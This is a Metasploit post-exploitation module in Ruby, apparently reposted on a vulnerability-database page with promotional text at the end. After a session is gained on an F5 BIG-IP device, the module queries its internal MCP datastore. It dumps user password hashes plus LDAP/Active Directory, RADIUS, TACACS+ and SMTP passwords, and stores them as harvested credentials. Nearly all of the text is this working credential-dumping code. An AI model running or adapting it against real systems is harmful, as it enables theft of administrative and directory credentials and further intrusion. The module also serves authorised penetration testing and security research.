##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Linux::System
include Msf::Post::Linux::F5Mcp
def initialize(info = {})
super(
update_info(
info,
'Name' => 'F5 Big-IP Gather Information from MCP Datastore',
'Description' => %q{
This module gathers various interesting pieces of data from F5's
"mcp" datastore, which is accessed via /var/run/mcp using a
proprietary protocol.
Adapted from: https://github.com/rbowes-r7/refreshing-mcp-tool/blob/main/mcp-getloot.rb
},
'License' => MSF_LICENSE,
'Author' => ['Ron Bowes'],
'Platform' => ['linux', 'unix'],
'SessionTypes' => ['shell', 'meterpreter'],
'References' => [
['URL', 'https://github.com/rbowes-r7/refreshing-mcp-tool'], # Original PoC
['URL', 'https://www.rapid7.com/blog/post/2022/11/16/cve-2022-41622-and-cve-2022-41800-fixed-f5-big-ip-and-icontrol-rest-vulnerabilities-and-exposures/'],
['URL', 'https://support.f5.com/csp/article/K97843387'],
['ATT&CK', Mitre::Attack::Technique::T1003_OS_CREDENTIAL_DUMPING],
],
'DisclosureDate' => '2022-11-16',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => []
}
)
)
register_options(
[
OptBool.new('GATHER_HASHES', [true, 'Gather password hashes from MCP', true]),
OptBool.new('GATHER_SERVICE_PASSWORDS', [true, 'Gather upstream passwords (ie, LDAP, AD, RADIUS, etc) from MCP', true]),
OptBool.new('GATHER_DB_VARIABLES', [true, 'Gather database variables (warning: slow)', false]),
]
)
end
def gather_hashes
print_status('Gathering users and password hashes from MCP')
users = mcp_simple_query('userdb_entry')
unless users
print_error('Failed to query users')
return
end
users.each do |u|
print_good("#{u['userdb_entry_name']}:#{u['userdb_entry_passwd']}")
create_credential(
jtr_format: Metasploit::Framework::Hashes.identify_hash(u['userdb_entry_passwd']),
origin_type: :session,
post_reference_name: refname,
private_type: :nonreplayable_hash,
private_data: u['userdb_entry_passwd'],
session_id: session_db_id,
username: u['userdb_entry_name'],
workspace_id: myworkspace_id
)
end
end
def gather_upstream_passwords
print_status('Gathering upstream passwords from MCP')
vprint_status('Trying to fetch LDAP / Active Directory configuration')
ldap_config = mcp_simple_query('auth_ldap_config') || []
ldap_config.select! { |config| config['auth_ldap_config_bind_pw'] }
if ldap_config.empty?
print_status('No LDAP / Active Directory password found')
else
ldap_config.each do |config|
config['auth_ldap_config_servers'].each do |server|
report_cred(
username: config['auth_ldap_config_bind_dn'],
password: config['auth_ldap_config_bind_pw'],
host: server,
port: config['auth_ldap_config_port'],
service_name: (config['auth_ldap_config_ssl'] == 1 ? 'ldaps' : 'ldap')
)
end
end
end
vprint_status('Trying to fetch Radius configuration')
radius_config = mcp_simple_query('radius_server') || []
radius_config.select! { |config| config['radius_server_secret'] }
if radius_config.empty?
print_status('No Radius password found')
else
radius_config.each do |config|
report_cred(
password: config['radius_server_secret'],
host: config['radius_server_server'],
port: config['radius_server_port'],
service_name: 'radius'
)
end
end
vprint_status('Trying to fetch TACACS+ configuration')
tacacs_config = mcp_simple_query('auth_tacacs_config') || []
tacacs_config.select! { |config| config['auth_tacacs_config_secret'] }
if tacacs_config.empty?
print_status('No TACACS+ password found')
else
tacacs_config.each do |config|
config['auth_tacacs_config_servers'].each do |server|
report_cred(
password: config['auth_tacacs_config_secret'],
host: server,
port: 49,
service_name: 'tacacs+'
)
end
end
end
vprint_status('Trying to fetch SMTP configuration')
smtp_config = mcp_simple_query('smtp_config') || []
smtp_config.select! { |config| config['smtp_config_username'] }
if smtp_config.empty?
print_status('No SMTP password found')
else
smtp_config.each do |config|
report_cred(
username: config['smtp_config_username'],
password: config['smtp_config_password'],
host: config['smtp_config_smtp_server_address'],
port: config['smtp_config_smtp_server_port'],
service_name: 'smtp'
)
end
end
end
def gather_db_variables
print_status('Fetching db variables from MCP (this takes a bit)...')
vars = mcp_simple_query('db_variable')
unless vars
print_error('Failed to query db variables')
return
end
vars.each do |v|
print_good "#{v['db_variable_name']} => #{v['db_variable_value']}"
end
end
def resolve_host(hostname)
ip = nil
if session.type == 'meterpreter' && session.commands.include?(Rex::Post::Meterpreter::Extensions::Stdapi::COMMAND_ID_STDAPI_NET_RESOLVE_HOST)
result = session.net.resolve.resolve_host(hostname)
ip = result[:ip] if result
else
result = cmd_exec("dig +short '#{hostname}'")
ip = result.strip unless result.blank?
end
vprint_warning("Failed to resolve hostname: #{hostname}") unless ip
ip
rescue Rex::Post::Meterpreter::RequestError => e
elog("Failed to resolve hostname: #{hostname.inspect}", error: e)
end
def report_cred(opts)
netloc = "#{opts[:host]}:#{opts[:port]}"
print_good("#{netloc.ljust(21)} - #{opts[:service_name]}: '#{opts[:username]}:#{opts[:password]}'")
if opts[:host] && !Rex::Socket.is_ip_addr?(opts[:host])
opts[:host] = resolve_host(opts[:host])
end
service_data = {
address: opts[:host],
port: opts[:port],
service_name: opts[:service_name],
protocol: opts.fetch(:protocol, 'tcp'),
workspace_id: myworkspace_id
}
credential_data = {
post_reference_name: refname,
session_id: session_db_id,
origin_type: :session,
private_data: opts[:password],
private_type: :password,
username: opts[:username]
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data)
create_credential_login(login_data)
end
def run
gather_hashes if datastore['GATHER_HASHES']
gather_upstream_passwords if datastore['GATHER_SERVICE_PASSWORDS']
gather_db_variables if datastore['GATHER_DB_VARIABLES']
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation